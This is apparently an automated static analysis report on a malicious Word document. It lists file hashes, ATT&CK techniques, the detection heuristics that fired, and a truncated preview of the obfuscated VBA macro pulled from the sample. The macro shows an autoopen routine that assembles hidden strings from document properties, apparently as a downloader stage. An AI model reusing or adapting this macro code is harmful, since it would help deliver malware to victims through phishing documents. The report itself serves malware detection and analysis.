Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 69deaa9dc678c947…

MALICIOUS

Office (OLE)

56.2 KB Created: 2017-08-20 20:51:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: c27f11342b71d354eac16487bda291c5 SHA-1: 67e2782b8e0078a51b3cd6f3248b360c6fc915e6 SHA-256: 69deaa9dc678c947afb8af5b4d7e3be22dc181c1b7312373c93d69f709bea34a
162 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro. The 'autoopen' macro is present and configured to execute, indicated by the OLE_VBA_AUTOOPEN and OLE_VBA_PCODE_AUTOEXEC_EXEC heuristics. The macro uses CreateObject, a common technique for launching malicious payloads. While the exact payload is not directly visible due to obfuscation, the presence of these indicators strongly suggests the macro's purpose is to download and execute a secondary stage.

Heuristics 6

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6143 bytes
SHA-256: 603c99a16cbc098319b06f3a643f295055b0c31fba8a68d0629bcfcd0323affd
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"

Function AnWekAnWekAnWekAnWekAnWek()
Dim KVCdAvKVCdAvKVCdAvKVCdAvKVCdAv()
MpKySMpKySMpKySMpKySMpKyS = 542
ReDim KVCdAvKVCdAvKVCdAvKVCdAvKVCdAv(542)
KVCdAvKVCdAvKVCdAvKVCdAvKVCdAv(90) = cHspVcHspVcHspVcHspVcHspV
 KVCdAvKVCdAvKVCdAvKVCdAvKVCdAv(518) = VpWtaVVpWtaVVpWtaVVpWtaVVpWtaV
 KVCdAvKVCdAvKVCdAvKVCdAvKVCdAv(397) = 9214
 KVCdAvKVCdAvKVCdAvKVCdAvKVCdAv(508) = 7776
 For MpKySMpKySMpKySMpKySMpKyS = 145 To 336
KVCdAvKVCdAvKVCdAvKVCdAvKVCdAv(MpKySMpKySMpKySMpKySMpKyS) = MpKySMpKySMpKySMpKySMpKyS
Next
End Function
 
Function ZNSUmHZNSUmHZNSUmHZNSUmHZNSUmH()
Dim mCPmtmCPmtmCPmtmCPmtmCPmt()
yCpUwkyCpUwkyCpUwkyCpUwkyCpUwk = 6675
ReDim mCPmtmCPmtmCPmtmCPmtmCPmt(6675)
mCPmtmCPmtmCPmtmCPmtmCPmt(1671) = EppSsEppSsEppSsEppSsEppSs
 mCPmtmCPmtmCPmtmCPmtmCPmt(3258) = LguLGLguLGLguLGLguLGLguLG
 mCPmtmCPmtmCPmtmCPmtmCPmt(365) = eZbyBeZbyBeZbyBeZbyBeZbyB
 mCPmtmCPmtmCPmtmCPmtmCPmt(5874) = 4922
 mCPmtmCPmtmCPmtmCPmtmCPmt(1648) = 9506
 mCPmtmCPmtmCPmtmCPmtmCPmt(3514) = 4318
 mCPmtmCPmtmCPmtmCPmtmCPmt(4838) = 650
 For yCpUwkyCpUwkyCpUwkyCpUwkyCpUwk = 707 To 277
mCPmtmCPmtmCPmtmCPmtmCPmt(yCpUwkyCpUwkyCpUwkyCpUwkyCpUwk) = yCpUwkyCpUwkyCpUwkyCpUwkyCpUwk
Next
End Function

Sub autoopen()
DMrbnDMrbnDMrbnDMrbnDMrbn
End Sub
Public Function EscaYEscaYEscaYEscaYEscaY(eMpdaMeMpdaMeMpdaMeMpdaMeMpdaM)
MDFGUMDFGUMDFGUMDFGUMDFGU = whDCgHwhDCgHwhDCgHwhDCgHwhDCgH + gXLuSTgXLuSTgXLuSTgXLuSTgXLuST = RnuDMPRnuDMPRnuDMPRnuDMPRnuDMP
 bbcVdEbbcVdEbbcVdEbbcVdEbbcVdE = aGRWbraGRWbraGRWbraGRWbraGRWbr + vnUZCvnUZCvnUZCvnUZCvnUZC = ExkDfhExkDfhExkDfhExkDfhExkDfh
 ULkVgfULkVgfULkVgfULkVgfULkVgf = ActiveDocument.CustomDocumentProperties(eMpdaMeMpdaMeMpdaMeMpdaMeMpdaM)
EscaYEscaYEscaYEscaYEscaY = ULkVgfULkVgfULkVgfULkVgfULkVgf
MDFGUMDFGUMDFGUMDFGUMDFGU = whDCgHwhDCgHwhDCgHwhDCgHwhDCgH + gXLuSTgXLuSTgXLuSTgXLuSTgXLuST = RnuDMPRnuDMPRnuDMPRnuDMPRnuDMP
 bbcVdEbbcVdEbbcVdEbbcVdEbbcVdE = aGRWbraGRWbraGRWbraGRWbraGRWbr + vnUZCvnUZCvnUZCvnUZCvnUZC = ExkDfhExkDfhExkDfhExkDfhExkDfh
 End Function
Public Function DMrbnDMrbnDMrbnDMrbnDMrbn()
MDFGUMDFGUMDFGUMDFGUMDFGU = whDCgHwhDCgHwhDCgHwhDCgHwhDCgH + gXLuSTgXLuSTgXLuSTgXLuSTgXLuST = RnuDMPRnuDMPRnuDMPRnuDMPRnuDMP
 bbcVdEbbcVdEbbcVdEbbcVdEbbcVdE = aGRWbraGRWbraGRWbraGRWbraGRWbr + vnUZCvnUZCvnUZCvnUZCvnUZC = ExkDfhExkDfhExkDfhExkDfhExkDfh
 cSeDYdcSeDYdcSeDYdcSeDYdcSeDYd = EscaYEscaYEscaYEscaYEscaY("acBBbacBBbacBBbacBBbacBBb") + EscaYEscaYEscaYEscaYEscaY("pvnCrpvnCrpvnCrpvnCrpvnCr") + MBTAGuMBTAGuMBTAGuMBTAGuMBTAGu + zWeFtrzWeFtrzWeFtrzWeFtrzWeFtr + RrteewRrteewRrteewRrteewRrteew + UfbHXTUfbHXTUfbHXTUfbHXTUfbHXT + EscaYEscaYEscaYEscaYEscaY("bhDkWbhDkWbhDkWbhDkWbhDkW") + EscaYEscaYEscaYEscaYEscaY("agdAZagdAZagdAZagdAZagdAZ") + EscaYEscaYEscaYEscaYEscaY("psUbDpsUbDpsUbDpsUbDpsUbD")
MDFGUMDFGUMDFGUMDFGUMDFGU = whDCgHwhDCgHwhDCgHwhDCgHwhDCgH + gXLuSTgXLuSTgXLuSTgXLuSTgXLuST = RnuDMPRnuDMPRnuDMPRnuDMPRnuDMP
 bbcVdEbbcVdEbbcVdEbbcVdEbbcVdE = aGRWbraGRWbraGRWbraGRWbraGRWbr + vnUZCvnUZCvnUZCvnUZCvnUZC = ExkDfhExkDfhExkDfhExkDfhExkDfh
 masbGmasbGmasbGmasbGmasbG = EscaYEscaYEscaYEscaYEscaY("TAvxXTAvxXTAvxXTAvxXTAvxX") + EscaYEscaYEscaYEscaYEscaY("AcPBXAcPBXAcPBXAcPBXAcPBX") + EscaYEscaYEscaYEscaYEscaY("kTGPrkTGPrkTGPrkTGPrkTGPr") + EscaYEscaYEscaYEscaYEscaY("rTwDhtrTwDhtrTwDhtrTwDhtrTwDht") + EscaYEscaYEscaYEscaYEscaY("RCmyfRCmyfRCmyfRCmyfRCmyf") + MBTAGuMBTAGuMBTAGuMBTAGuMBTAGu + zWeFtrzWeFtrzWeFtrzWeFtrzWeFtr + RrteewRrteewRrteewRrteewRrteew + UfbHXTUfbHXTUfbHXTUfbHXTUfbHXT + EscaYEscaYEscaYEscaYEscaY("WDGScWDGScWDGScWDGScWDGSc")
kXLXRSkXLXRSkXLXRSkXLXRSkXLXRS = masbGmasbGmasbGmasbGmasbG + "" + ActiveDocument.BuiltInDocumentProperties("Comments") + MBTAGuMBTAGuMBTAGuMBTAGuMBTAGu + zWeFtrzWeFtrzWeFtrzWeFtrzWeFtr + RrteewRrteewRrteewRrteewRrteew + UfbHXTUfbHXTUfbHXTUfbHXTUfbHXT + PTmW
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.